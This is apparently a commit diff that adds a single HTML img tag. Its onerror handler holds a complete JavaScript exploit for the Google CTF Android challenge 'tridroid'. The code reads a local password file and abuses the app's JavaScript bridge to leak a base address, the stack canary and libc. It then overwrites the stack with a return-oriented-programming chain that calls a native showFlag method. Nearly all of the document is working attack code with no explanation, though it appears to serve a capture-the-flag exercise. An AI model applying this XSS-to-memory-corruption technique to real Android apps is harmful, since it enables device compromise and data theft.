|
| 1 | +<img src=# onerror=" |
| 2 | +BigInt.prototype.hex=function() {return '0x'+this.toString(16);}; |
| 3 | +Number.prototype.hex =function() {return '0x'+this.toString(16);}; |
| 4 | +function unhex(s){let ret='';for (let i=0; i < s.length/2; ++i) {ret += String.fromCharCode(parseInt(s.substr(i*2, 2), 16));}return ret;} |
| 5 | +function enhex(s) {let ret='';for (let i=0; i < s.length; ++i) {let chr=s.charCodeAt(i);if (chr < 0x10)ret += '0'+chr.toString(16);else ret += chr.toString(16);}return ret;} |
| 6 | +function u64(s) {let tmp=new Uint8Array(8);for (let i=0; i < s.length; ++i) {tmp[i]=s.charCodeAt(i);}let dv=new BigUint64Array(tmp.buffer);return dv[0];} |
| 7 | +function p64(b) {let tmp=new ArrayBuffer(8);let dv=new DataView(tmp);dv.setBigUint64(0, b, true);let ret='';for (let i=0; i < 8; ++i) {let u8=dv.getUint8(i, true);if (u8 < 0x10)ret += '0'+u8.toString(16);else ret += u8.toString(16);}return ret;} |
| 8 | +let password=''; |
| 9 | +function readTextFile(file){let rawFile=new XMLHttpRequest();rawFile.open('GET', file, false);rawFile.onreadystatechange=function (){if(rawFile.readyState === 4){if(rawFile.status === 200 || rawFile.status == 0){var allText=rawFile.responseText;password=allText;}}};rawFile.send(null);}; |
| 10 | +let path='file:///data/data/com.google.ctf.pwn.tridroid/files/password.txt'; |
| 11 | +readTextFile(path); |
| 12 | +function do_push(data) {window.bridge.manageStack(password, 'push', data);}; |
| 13 | +function do_modify(data) {window.bridge.manageStack(password, 'modify', data);}; |
| 14 | +function do_top() {let ret=window.bridge.manageStack(password, 'top', '');return ret;} |
| 15 | +function do_pop() {let ret=window.bridge.manageStack(password, 'pop', '');return ret;} |
| 16 | +do_push('41'); |
| 17 | +do_modify('41'.repeat(8)); |
| 18 | +let leak=unhex(do_top()); |
| 19 | +leak=u64(leak.substr(8, 8)); |
| 20 | +let base=leak - 0x16ffn; |
| 21 | +do_modify('41'.repeat(40)); |
| 22 | +leak=unhex(do_top()); |
| 23 | +let canary=u64(leak.substr(40, 8)); |
| 24 | +let stack=u64(leak.substr(48, 8)); |
| 25 | +do_modify('41'.repeat(0x18)); |
| 26 | +do_modify('41'.repeat(0x17)+'00'); |
| 27 | +do_modify('41'.repeat(0x16)+'00'); |
| 28 | +do_modify('41'.repeat(0x10)+p64(stack-0x60n)); |
| 29 | +do_pop(); |
| 30 | +leak=u64(unhex(do_top())); |
| 31 | +let jni=leak; |
| 32 | +do_push('41'); |
| 33 | +do_modify('41'.repeat(0x10)+p64(stack-0x68n)); |
| 34 | +do_pop(); |
| 35 | +leak=u64(unhex(do_top())); |
| 36 | +let jobj=leak; |
| 37 | +do_push('41'); |
| 38 | +do_modify('41'.repeat(0x10)+p64(jobj)); // save obj |
| 39 | +do_pop(); |
| 40 | +leak=u64(unhex(do_top())); |
| 41 | +let objval=leak; |
| 42 | +do_push('41'); |
| 43 | +do_modify('41'.repeat(0x10)+p64(base+0x2F70n)); //malloc@got |
| 44 | +do_pop(); |
| 45 | +leak=u64(unhex(do_top())); |
| 46 | +let libc=leak - 0x43410n; |
| 47 | +let pop_rdi=libc+0x42c92n; |
| 48 | +let pop_rsi=libc+0x42d38n; |
| 49 | +let pop_rdx=libc+0x46175n; |
| 50 | +let pop_rcx=libc+0x42e58n; |
| 51 | +let pop_r8_jmp_rax=libc+0x42e46n; |
| 52 | +let pop_rax=libc+0x45e13n; |
| 53 | +let mov_r9_r12_call_rbp=libc+0x8656en; |
| 54 | +let flag=base+0xFA0n; |
| 55 | +let objval_addr=stack - 80n+72n+13n*8n |
| 56 | +let fname=objval_addr+8n; |
| 57 | +let sig=fname+9n; |
| 58 | +do_push('41'.repeat(72)+p64(canary)+p64(0n)+p64(pop_rdi+1n)+p64(pop_rdi)+p64(jni)+p64(pop_rsi)+p64(objval_addr)+p64(pop_rdx)+p64(fname)+p64(pop_rcx)+p64(sig)+p64(flag)+p64(0x1122334455667788n)+p64(objval)+enhex('showFlag\x00()V\x00')); |
| 59 | +" /> |
0 commit comments